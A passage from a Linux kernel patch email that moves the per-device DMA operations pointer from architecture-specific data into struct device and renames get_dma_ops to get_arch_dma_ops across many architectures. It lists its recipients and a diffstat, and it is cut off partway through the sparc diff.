Cc: Joerg Roedel <joro@8bytes.org>
Cc: Jon Mason <jdmason@kudzu.us>
Cc: Jonas Bonn <jonas@southpole.se>
Cc: Ley Foon Tan <lftan@altera.com>
Cc: Mark Salter <msalter@redhat.com>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Mikael Starvik <starvik@axis.com>
Cc: Muli Ben-Yehuda <mulix@mulix.org>
Cc: Rich Felker <dalias@libc.org>
Cc: Russell King <linux@armlinux.org.uk>
Cc: Stafford Horne <shorne@gmail.com>
Cc: Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: x86@kernel.org
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>
Cc: adi-buildroot-devel@lists.sourceforge.net
Cc: iommu@lists.linux-foundation.org
Cc: linux-alpha@vger.kernel.org
Cc: linux-am33-list@redhat.com
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-c6x-dev@linux-c6x.org
Cc: linux-cris-kernel@axis.com
Cc: linux-hexagon@vger.kernel.org
Cc: linux-ia64@vger.kernel.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-metag@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linux-pci@vger.kernel.org
Cc: linux-rdma@vger.kernel.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: linux-snps-arc@lists.infradead.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: nios2-dev@lists.rocketboards.org
Cc: openrisc@lists.librecores.org
Cc: sparclinux@vger.kernel.org
Cc: uclinux-h8-devel@lists.sourceforge.jp
---
 arch/alpha/include/asm/dma-mapping.h      |  2 +-
 arch/arc/include/asm/dma-mapping.h        |  2 +-
 arch/arm/include/asm/device.h             |  1 -
 arch/arm/include/asm/dma-mapping.h        | 17 ++++-------------
 arch/arm64/include/asm/device.h           |  1 -
 arch/arm64/include/asm/dma-mapping.h      |  8 ++++----
 arch/arm64/mm/dma-mapping.c               |  8 ++++----
 arch/avr32/include/asm/dma-mapping.h      |  2 +-
 arch/blackfin/include/asm/dma-mapping.h   |  2 +-
 arch/c6x/include/asm/dma-mapping.h        |  2 +-
 arch/cris/include/asm/dma-mapping.h       |  4 ++--
 arch/frv/include/asm/dma-mapping.h        |  2 +-
 arch/h8300/include/asm/dma-mapping.h      |  2 +-
 arch/hexagon/include/asm/dma-mapping.h    |  5 +----
 arch/ia64/include/asm/dma-mapping.h       |  5 ++++-
 arch/m32r/include/asm/dma-mapping.h       |  4 +---
 arch/m68k/include/asm/dma-mapping.h       |  2 +-
 arch/metag/include/asm/dma-mapping.h      |  2 +-
 arch/microblaze/include/asm/dma-mapping.h |  2 +-
 arch/mips/include/asm/device.h            |  5 -----
 arch/mips/include/asm/dma-mapping.h       |  7 ++-----
 arch/mips/pci/pci-octeon.c                |  2 +-
 arch/mn10300/include/asm/dma-mapping.h    |  2 +-
 arch/nios2/include/asm/dma-mapping.h      |  2 +-
 arch/openrisc/include/asm/dma-mapping.h   |  2 +-
 arch/parisc/include/asm/dma-mapping.h     |  2 +-
 arch/powerpc/include/asm/device.h         |  4 ----
 arch/powerpc/include/asm/dma-mapping.h    | 17 ++---------------
 arch/powerpc/include/asm/ps3.h            |  2 +-
 arch/powerpc/kernel/dma.c                 |  2 +-
 arch/powerpc/platforms/cell/iommu.c       |  2 +-
 arch/powerpc/platforms/pasemi/iommu.c     |  2 +-
 arch/powerpc/platforms/pasemi/setup.c     |  2 +-
 arch/powerpc/platforms/ps3/system-bus.c   |  4 ++--
 arch/powerpc/platforms/pseries/ibmebus.c  |  2 +-
 arch/s390/include/asm/device.h            |  1 -
 arch/s390/include/asm/dma-mapping.h       |  4 +---
 arch/s390/pci/pci.c                       |  2 +-
 arch/sh/include/asm/dma-mapping.h         |  2 +-
 arch/sparc/include/asm/dma-mapping.h      |  4 ++--
 arch/tile/include/asm/device.h            |  3 ---
 arch/tile/include/asm/dma-mapping.h       | 12 ++----------
 arch/x86/include/asm/device.h             |  3 ---
 arch/x86/include/asm/dma-mapping.h        |  9 +--------
 arch/x86/kernel/pci-calgary_64.c          |  4 ++--
 arch/x86/pci/common.c                     |  2 +-
 arch/x86/pci/sta2x11-fixup.c              |  8 ++++----
 arch/xtensa/include/asm/device.h          |  4 ----
 arch/xtensa/include/asm/dma-mapping.h     |  7 ++-----
 drivers/infiniband/ulp/srpt/ib_srpt.c     |  2 +-
 drivers/iommu/amd_iommu.c                 |  6 +++---
 drivers/misc/mic/bus/mic_bus.c            |  2 +-
 drivers/misc/mic/bus/scif_bus.c           |  2 +-
 drivers/misc/mic/bus/vop_bus.c            |  2 +-
 include/linux/device.h                    |  2 ++
 include/linux/dma-mapping.h               | 12 ++++++++++++
 56 files changed, 85 insertions(+), 140 deletions(-)

diff --git a/arch/alpha/include/asm/dma-mapping.h b/arch/alpha/include/asm/dma-mapping.h
index d3480562411d..5d53666935e6 100644
--- a/arch/alpha/include/asm/dma-mapping.h
+++ b/arch/alpha/include/asm/dma-mapping.h
@@ -3,7 +3,7 @@
 
 extern const struct dma_map_ops *dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return dma_ops;
 }
diff --git a/arch/arc/include/asm/dma-mapping.h b/arch/arc/include/asm/dma-mapping.h
index fdff3aa60052..94285031c4fb 100644
--- a/arch/arc/include/asm/dma-mapping.h
+++ b/arch/arc/include/asm/dma-mapping.h
@@ -20,7 +20,7 @@
 
 extern const struct dma_map_ops arc_dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &arc_dma_ops;
 }
diff --git a/arch/arm/include/asm/device.h b/arch/arm/include/asm/device.h
index d8a572f9c187..220ba207be91 100644
--- a/arch/arm/include/asm/device.h
+++ b/arch/arm/include/asm/device.h
@@ -7,7 +7,6 @@
 #define ASMARM_DEVICE_H
 
 struct dev_archdata {
-	const struct dma_map_ops	*dma_ops;
 #ifdef CONFIG_DMABOUNCE
 	struct dmabounce_device_info *dmabounce;
 #endif
diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
index 1aabd781306f..7c6d995fb935 100644
--- a/arch/arm/include/asm/dma-mapping.h
+++ b/arch/arm/include/asm/dma-mapping.h
@@ -18,23 +18,14 @@ extern const struct dma_map_ops arm_coherent_dma_ops;
 
 static inline const struct dma_map_ops *__generic_dma_ops(struct device *dev)
 {
-	if (dev && dev->archdata.dma_ops)
-		return dev->archdata.dma_ops;
+	if (dev && dev->dma_ops)
+		return dev->dma_ops;
 	return &arm_dma_ops;
 }
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	if (xen_initial_domain())
-		return xen_dma_ops;
-	else
-		return __generic_dma_ops(dev);
-}
-
-static inline void set_dma_ops(struct device *dev, const struct dma_map_ops *ops)
-{
-	BUG_ON(!dev);
-	dev->archdata.dma_ops = ops;
+	return xen_initial_domain() ? xen_dma_ops : &arm_dma_ops;
 }
 
 #define HAVE_ARCH_DMA_SUPPORTED 1
diff --git a/arch/arm64/include/asm/device.h b/arch/arm64/include/asm/device.h
index 00c678cc31e1..73d5bab015eb 100644
--- a/arch/arm64/include/asm/device.h
+++ b/arch/arm64/include/asm/device.h
@@ -17,7 +17,6 @@
 #define __ASM_DEVICE_H
 
 struct dev_archdata {
-	const struct dma_map_ops *dma_ops;
 #ifdef CONFIG_IOMMU_API
 	void *iommu;			/* private IOMMU data */
 #endif
diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
index 1fedb43be712..ff311c67ab0c 100644
--- a/arch/arm64/include/asm/dma-mapping.h
+++ b/arch/arm64/include/asm/dma-mapping.h
@@ -29,8 +29,8 @@ extern const struct dma_map_ops dummy_dma_ops;
 
 static inline const struct dma_map_ops *__generic_dma_ops(struct device *dev)
 {
-	if (dev && dev->archdata.dma_ops)
-		return dev->archdata.dma_ops;
+       if (dev && dev->dma_ops)
+               return dev->dma_ops;
 
 	/*
 	 * We expect no ISA devices, and all other DMA masters are expected to
@@ -39,12 +39,12 @@ static inline const struct dma_map_ops *__generic_dma_ops(struct device *dev)
 	return &dummy_dma_ops;
 }
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	if (xen_initial_domain())
 		return xen_dma_ops;
 	else
-		return __generic_dma_ops(dev);
+		return __generic_dma_ops(NULL);
 }
 
 void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index bcef6368d48f..9c80a3cbce59 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -837,7 +837,7 @@ static bool do_iommu_attach(struct device *dev, const struct iommu_ops *ops,
 		return false;
 	}
 
-	dev->archdata.dma_ops = &iommu_dma_ops;
+	set_dma_ops(dev, &iommu_dma_ops);
 	return true;
 }
 
@@ -941,7 +941,7 @@ static void __iommu_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
 
 void arch_teardown_dma_ops(struct device *dev)
 {
-	dev->archdata.dma_ops = NULL;
+	set_dma_ops(dev, NULL);
 }
 
 #else
@@ -955,8 +955,8 @@ static void __iommu_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
 void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
 			const struct iommu_ops *iommu, bool coherent)
 {
-	if (!dev->archdata.dma_ops)
-		dev->archdata.dma_ops = &swiotlb_dma_ops;
+	if (!dev->dma_ops)
+		set_dma_ops(dev, &swiotlb_dma_ops);
 
 	dev->archdata.dma_coherent = coherent;
 	__iommu_setup_dma_ops(dev, dma_base, size, iommu);
diff --git a/arch/avr32/include/asm/dma-mapping.h b/arch/avr32/include/asm/dma-mapping.h
index b2b43c0e0774..7388451f9905 100644
--- a/arch/avr32/include/asm/dma-mapping.h
+++ b/arch/avr32/include/asm/dma-mapping.h
@@ -6,7 +6,7 @@ extern void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 
 extern const struct dma_map_ops avr32_dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &avr32_dma_ops;
 }
diff --git a/arch/blackfin/include/asm/dma-mapping.h b/arch/blackfin/include/asm/dma-mapping.h
index 320fb50fbd41..04254ac36bed 100644
--- a/arch/blackfin/include/asm/dma-mapping.h
+++ b/arch/blackfin/include/asm/dma-mapping.h
@@ -38,7 +38,7 @@ _dma_sync(dma_addr_t addr, size_t size, enum dma_data_direction dir)
 
 extern const struct dma_map_ops bfin_dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &bfin_dma_ops;
 }
diff --git a/arch/c6x/include/asm/dma-mapping.h b/arch/c6x/include/asm/dma-mapping.h
index 88258b9ebc8e..aca9f755e4f8 100644
--- a/arch/c6x/include/asm/dma-mapping.h
+++ b/arch/c6x/include/asm/dma-mapping.h
@@ -19,7 +19,7 @@
 
 extern const struct dma_map_ops c6x_dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &c6x_dma_ops;
 }
diff --git a/arch/cris/include/asm/dma-mapping.h b/arch/cris/include/asm/dma-mapping.h
index aae4fbc0a656..256169de3743 100644
--- a/arch/cris/include/asm/dma-mapping.h
+++ b/arch/cris/include/asm/dma-mapping.h
@@ -4,12 +4,12 @@
 #ifdef CONFIG_PCI
 extern const struct dma_map_ops v32_dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &v32_dma_ops;
 }
 #else
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	BUG();
 	return NULL;
diff --git a/arch/frv/include/asm/dma-mapping.h b/arch/frv/include/asm/dma-mapping.h
index 150cc00544a8..354900917585 100644
--- a/arch/frv/include/asm/dma-mapping.h
+++ b/arch/frv/include/asm/dma-mapping.h
@@ -9,7 +9,7 @@ extern unsigned long __nongprelbss dma_coherent_mem_end;
 
 extern const struct dma_map_ops frv_dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &frv_dma_ops;
 }
diff --git a/arch/h8300/include/asm/dma-mapping.h b/arch/h8300/include/asm/dma-mapping.h
index f804bca4c13f..847c7562e046 100644
--- a/arch/h8300/include/asm/dma-mapping.h
+++ b/arch/h8300/include/asm/dma-mapping.h
@@ -3,7 +3,7 @@
 
 extern const struct dma_map_ops h8300_dma_map_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &h8300_dma_map_ops;
 }
diff --git a/arch/hexagon/include/asm/dma-mapping.h b/arch/hexagon/include/asm/dma-mapping.h
index b812e917cd95..d3a87bd9b686 100644
--- a/arch/hexagon/include/asm/dma-mapping.h
+++ b/arch/hexagon/include/asm/dma-mapping.h
@@ -34,11 +34,8 @@ extern int bad_dma_address;
 
 extern const struct dma_map_ops *dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	if (unlikely(dev == NULL))
-		return NULL;
-
 	return dma_ops;
 }
 
diff --git a/arch/ia64/include/asm/dma-mapping.h b/arch/ia64/include/asm/dma-mapping.h
index 05e467d56d86..73ec3c6f4cfe 100644
--- a/arch/ia64/include/asm/dma-mapping.h
+++ b/arch/ia64/include/asm/dma-mapping.h
@@ -23,7 +23,10 @@ extern void machvec_dma_sync_single(struct device *, dma_addr_t, size_t,
 extern void machvec_dma_sync_sg(struct device *, struct scatterlist *, int,
 				enum dma_data_direction);
 
-#define get_dma_ops(dev) platform_dma_get_ops(dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
+{
+	return platform_dma_get_ops(NULL);
+}
 
 static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 {
diff --git a/arch/m32r/include/asm/dma-mapping.h b/arch/m32r/include/asm/dma-mapping.h
index 99c43d2f05dc..c01d9f52d228 100644
--- a/arch/m32r/include/asm/dma-mapping.h
+++ b/arch/m32r/include/asm/dma-mapping.h
@@ -10,10 +10,8 @@
 
 #define DMA_ERROR_CODE (~(dma_addr_t)0x0)
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	if (dev && dev->archdata.dma_ops)
-		return dev->archdata.dma_ops;
 	return &dma_noop_ops;
 }
 
diff --git a/arch/m68k/include/asm/dma-mapping.h b/arch/m68k/include/asm/dma-mapping.h
index 863509939d5a..9210e470771b 100644
--- a/arch/m68k/include/asm/dma-mapping.h
+++ b/arch/m68k/include/asm/dma-mapping.h
@@ -3,7 +3,7 @@
 
 extern const struct dma_map_ops m68k_dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
         return &m68k_dma_ops;
 }
diff --git a/arch/metag/include/asm/dma-mapping.h b/arch/metag/include/asm/dma-mapping.h
index c156a7ac732f..fad3dc3cb210 100644
--- a/arch/metag/include/asm/dma-mapping.h
+++ b/arch/metag/include/asm/dma-mapping.h
@@ -3,7 +3,7 @@
 
 extern const struct dma_map_ops metag_dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &metag_dma_ops;
 }
diff --git a/arch/microblaze/include/asm/dma-mapping.h b/arch/microblaze/include/asm/dma-mapping.h
index c7faf2fb51d6..3fad5e722a66 100644
--- a/arch/microblaze/include/asm/dma-mapping.h
+++ b/arch/microblaze/include/asm/dma-mapping.h
@@ -38,7 +38,7 @@
  */
 extern const struct dma_map_ops dma_direct_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &dma_direct_ops;
 }
diff --git a/arch/mips/include/asm/device.h b/arch/mips/include/asm/device.h
index ebc5c1265473..6aa796f1081a 100644
--- a/arch/mips/include/asm/device.h
+++ b/arch/mips/include/asm/device.h
@@ -6,12 +6,7 @@
 #ifndef _ASM_MIPS_DEVICE_H
 #define _ASM_MIPS_DEVICE_H
 
-struct dma_map_ops;
-
 struct dev_archdata {
-	/* DMA operations on that device */
-	const struct dma_map_ops *dma_ops;
-
 #ifdef CONFIG_DMA_PERDEV_COHERENT
 	/* Non-zero if DMA is coherent with CPU caches */
 	bool dma_coherent;
diff --git a/arch/mips/include/asm/dma-mapping.h b/arch/mips/include/asm/dma-mapping.h
index b59b084a7569..aba71385f9d1 100644
--- a/arch/mips/include/asm/dma-mapping.h
+++ b/arch/mips/include/asm/dma-mapping.h
@@ -11,12 +11,9 @@
 
 extern const struct dma_map_ops *mips_dma_map_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	if (dev && dev->archdata.dma_ops)
-		return dev->archdata.dma_ops;
-	else
-		return mips_dma_map_ops;
+	return mips_dma_map_ops;
 }
 
 static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
diff --git a/arch/mips/pci/pci-octeon.c b/arch/mips/pci/pci-octeon.c
index 308d051fc45c..7da99a908229 100644
--- a/arch/mips/pci/pci-octeon.c
+++ b/arch/mips/pci/pci-octeon.c
@@ -167,7 +167,7 @@ int pcibios_plat_dev_init(struct pci_dev *dev)
 		pci_write_config_dword(dev, pos + PCI_ERR_ROOT_STATUS, dconfig);
 	}
 
-	dev->dev.archdata.dma_ops = octeon_pci_dma_map_ops;
+	set_dma_ops(&dev->dev, octeon_pci_dma_map_ops);
 
 	return 0;
 }
diff --git a/arch/mn10300/include/asm/dma-mapping.h b/arch/mn10300/include/asm/dma-mapping.h
index 564e3927e005..737ef574b3ea 100644
--- a/arch/mn10300/include/asm/dma-mapping.h
+++ b/arch/mn10300/include/asm/dma-mapping.h
@@ -16,7 +16,7 @@
 
 extern const struct dma_map_ops mn10300_dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &mn10300_dma_ops;
 }
diff --git a/arch/nios2/include/asm/dma-mapping.h b/arch/nios2/include/asm/dma-mapping.h
index aa00d839a64b..7b3c6f280293 100644
--- a/arch/nios2/include/asm/dma-mapping.h
+++ b/arch/nios2/include/asm/dma-mapping.h
@@ -12,7 +12,7 @@
 
 extern const struct dma_map_ops nios2_dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &nios2_dma_ops;
 }
diff --git a/arch/openrisc/include/asm/dma-mapping.h b/arch/openrisc/include/asm/dma-mapping.h
index 88acbedb4947..0c0075f17145 100644
--- a/arch/openrisc/include/asm/dma-mapping.h
+++ b/arch/openrisc/include/asm/dma-mapping.h
@@ -30,7 +30,7 @@
 
 extern const struct dma_map_ops or1k_dma_map_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &or1k_dma_map_ops;
 }
diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index 1749073e44fc..5404c6a726b2 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -27,7 +27,7 @@ extern const struct dma_map_ops pcx_dma_ops;
 
 extern const struct dma_map_ops *hppa_dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return hppa_dma_ops;
 }
diff --git a/arch/powerpc/include/asm/device.h b/arch/powerpc/include/asm/device.h
index 49cbb0fca233..0245bfcaac32 100644
--- a/arch/powerpc/include/asm/device.h
+++ b/arch/powerpc/include/asm/device.h
@@ -6,7 +6,6 @@
 #ifndef _ASM_POWERPC_DEVICE_H
 #define _ASM_POWERPC_DEVICE_H
 
-struct dma_map_ops;
 struct device_node;
 #ifdef CONFIG_PPC64
 struct pci_dn;
@@ -20,9 +19,6 @@ struct iommu_table;
  * drivers/macintosh/macio_asic.c
  */
 struct dev_archdata {
-	/* DMA operations on that device */
-	const struct dma_map_ops	*dma_ops;
-
 	/*
 	 * These two used to be a union. However, with the hybrid ops we need
 	 * both so here we store both a DMA offset for direct mappings and
diff --git a/arch/powerpc/include/asm/dma-mapping.h b/arch/powerpc/include/asm/dma-mapping.h
index 2ec3eadf336f..efdcf87c4c2f 100644
--- a/arch/powerpc/include/asm/dma-mapping.h
+++ b/arch/powerpc/include/asm/dma-mapping.h
@@ -78,22 +78,9 @@ extern struct dma_map_ops dma_iommu_ops;
 #endif
 extern const struct dma_map_ops dma_direct_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	/* We don't handle the NULL dev case for ISA for now. We could
-	 * do it via an out of line call but it is not needed for now. The
-	 * only ISA DMA device we support is the floppy and we have a hack
-	 * in the floppy driver directly to get a device for us.
-	 */
-	if (unlikely(dev == NULL))
-		return NULL;
-
-	return dev->archdata.dma_ops;
-}
-
-static inline void set_dma_ops(struct device *dev, const struct dma_map_ops *ops)
-{
-	dev->archdata.dma_ops = ops;
+	return NULL;
 }
 
 /*
diff --git a/arch/powerpc/include/asm/ps3.h b/arch/powerpc/include/asm/ps3.h
index a19f831a4cc9..17ee719e799f 100644
--- a/arch/powerpc/include/asm/ps3.h
+++ b/arch/powerpc/include/asm/ps3.h
@@ -435,7 +435,7 @@ static inline void *ps3_system_bus_get_drvdata(
 	return dev_get_drvdata(&dev->core);
 }
 
-/* These two need global scope for get_dma_ops(). */
+/* These two need global scope for get_arch_dma_ops(). */
 
 extern struct bus_type ps3_system_bus_type;
 
diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index 03b98f1f98ec..41c749586bd2 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -33,7 +33,7 @@ static u64 __maybe_unused get_pfn_limit(struct device *dev)
 	struct dev_archdata __maybe_unused *sd = &dev->archdata;
 
 #ifdef CONFIG_SWIOTLB
-	if (sd->max_direct_dma_addr && sd->dma_ops == &swiotlb_dma_ops)
+	if (sd->max_direct_dma_addr && dev->dma_ops == &swiotlb_dma_ops)
 		pfn = min_t(u64, pfn, sd->max_direct_dma_addr >> PAGE_SHIFT);
 #endif
 
diff --git a/arch/powerpc/platforms/cell/iommu.c b/arch/powerpc/platforms/cell/iommu.c
index e1413e69e5fe..592a2a0f4860 100644
--- a/arch/powerpc/platforms/cell/iommu.c
+++ b/arch/powerpc/platforms/cell/iommu.c
@@ -692,7 +692,7 @@ static int cell_of_bus_notify(struct notifier_block *nb, unsigned long action,
 		return 0;
 
 	/* We use the PCI DMA ops */
-	dev->archdata.dma_ops = get_pci_dma_ops();
+	set_dma_ops(dev, get_pci_dma_ops());
 
 	cell_dma_dev_setup(dev);
 
diff --git a/arch/powerpc/platforms/pasemi/iommu.c b/arch/powerpc/platforms/pasemi/iommu.c
index e74adc4e7fd8..66bf56788260 100644
--- a/arch/powerpc/platforms/pasemi/iommu.c
+++ b/arch/powerpc/platforms/pasemi/iommu.c
@@ -186,7 +186,7 @@ static void pci_dma_dev_setup_pasemi(struct pci_dev *dev)
 	 */
 	if (dev->vendor == 0x1959 && dev->device == 0xa007 &&
 	    !firmware_has_feature(FW_FEATURE_LPAR)) {
-		dev->dev.archdata.dma_ops = &dma_direct_ops;
+		set_dma_ops(&dev->dev, &dma_direct_ops);
 		/*
 		 * Set the coherent DMA mask to prevent the iommu
 		 * being used unnecessarily
diff --git a/arch/powerpc/platforms/pasemi/setup.c b/arch/powerpc/platforms/pasemi/setup.c
index 3182400cf48f..a00412d369f8 100644
--- a/arch/powerpc/platforms/pasemi/setup.c
+++ b/arch/powerpc/platforms/pasemi/setup.c
@@ -363,7 +363,7 @@ static int pcmcia_notify(struct notifier_block *nb, unsigned long action,
 		return 0;
 
 	/* We use the direct ops for localbus */
-	dev->archdata.dma_ops = &dma_direct_ops;
+	set_dma_ops(dev, &dma_direct_ops);
 
 	return 0;
 }
diff --git a/arch/powerpc/platforms/ps3/system-bus.c b/arch/powerpc/platforms/ps3/system-bus.c
index c81450d98794..b78041049146 100644
--- a/arch/powerpc/platforms/ps3/system-bus.c
+++ b/arch/powerpc/platforms/ps3/system-bus.c
@@ -756,11 +756,11 @@ int ps3_system_bus_device_register(struct ps3_system_bus_device *dev)
 
 	switch (dev->dev_type) {
 	case PS3_DEVICE_TYPE_IOC0:
-		dev->core.archdata.dma_ops = &ps3_ioc0_dma_ops;
+		set_dma_ops(&dev->core, &ps3_ioc0_dma_ops);
 		dev_set_name(&dev->core, "ioc0_%02x", ++dev_ioc0_count);
 		break;
 	case PS3_DEVICE_TYPE_SB:
-		dev->core.archdata.dma_ops = &ps3_sb_dma_ops;
+		set_dma_ops(&dev->core, &ps3_sb_dma_ops);
 		dev_set_name(&dev->core, "sb_%02x", ++dev_sb_count);
 
 		break;
diff --git a/arch/powerpc/platforms/pseries/ibmebus.c b/arch/powerpc/platforms/pseries/ibmebus.c
index 2e36a0b8944a..05063fd9b05f 100644
--- a/arch/powerpc/platforms/pseries/ibmebus.c
+++ b/arch/powerpc/platforms/pseries/ibmebus.c
@@ -169,7 +169,7 @@ static int ibmebus_create_device(struct device_node *dn)
 		return -ENOMEM;
 
 	dev->dev.bus = &ibmebus_bus_type;
-	dev->dev.archdata.dma_ops = &ibmebus_dma_ops;
+	set_dma_ops(&dev->dev, &ibmebus_dma_ops);
 
 	ret = of_device_add(dev);
 	if (ret)
diff --git a/arch/s390/include/asm/device.h b/arch/s390/include/asm/device.h
index 7955a9799466..5203fc87f080 100644
--- a/arch/s390/include/asm/device.h
+++ b/arch/s390/include/asm/device.h
@@ -4,7 +4,6 @@
  * This file is released under the GPLv2
  */
 struct dev_archdata {
-	const struct dma_map_ops *dma_ops;
 };
 
 struct pdev_archdata {
diff --git a/arch/s390/include/asm/dma-mapping.h b/arch/s390/include/asm/dma-mapping.h
index 2776d205b1ff..3108b8dbe266 100644
--- a/arch/s390/include/asm/dma-mapping.h
+++ b/arch/s390/include/asm/dma-mapping.h
@@ -12,10 +12,8 @@
 
 extern const struct dma_map_ops s390_pci_dma_ops;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	if (dev && dev->archdata.dma_ops)
-		return dev->archdata.dma_ops;
 	return &dma_noop_ops;
 }
 
diff --git a/arch/s390/pci/pci.c b/arch/s390/pci/pci.c
index 38e17d4d9884..5b4177d8f4c3 100644
--- a/arch/s390/pci/pci.c
+++ b/arch/s390/pci/pci.c
@@ -641,7 +641,7 @@ int pcibios_add_device(struct pci_dev *pdev)
 	int i;
 
 	pdev->dev.groups = zpci_attr_groups;
-	pdev->dev.archdata.dma_ops = &s390_pci_dma_ops;
+	set_dma_ops(&pdev->dev, &s390_pci_dma_ops);
 	zpci_map_resources(pdev);
 
 	for (i = 0; i < PCI_BAR_COUNT; i++) {
diff --git a/arch/sh/include/asm/dma-mapping.h b/arch/sh/include/asm/dma-mapping.h
index a7382c34c241..d99008af5f73 100644
--- a/arch/sh/include/asm/dma-mapping.h
+++ b/arch/sh/include/asm/dma-mapping.h
@@ -4,7 +4,7 @@
 extern const struct dma_map_ops *dma_ops;
 extern void no_iommu_init(void);
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return dma_ops;
 }
diff --git a/arch/sparc/include/asm/dma-mapping.h b/arch/sparc/include/asm/dma-mapping.h
index 3d2babc0c4c6..69cc627779f2 100644
--- a/arch/sparc/include/asm/dma-mapping.h
+++ b/arch/sparc/include/asm/dma-mapping.h
@@ -24,14 +24,14 @@ extern const struct dma_map_ops pci32_dma_ops;
 
 extern struct bus_type pci_bus_type;
 
-static inline const struct dma_map_ops *get_dma_ops(struct device *dev)
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 #ifdef CONFIG_SPARC_LEON
 	if (sparc_cpu_model == sparc_leon)
 		return leon_dma_ops;
 #endif
 #if defined(CONFIG_SPARC32) && defined(CONFIG_PCI)
-	if (dev->bus == &pci_bus_type)
+	if (bus == &pci_bus_type)
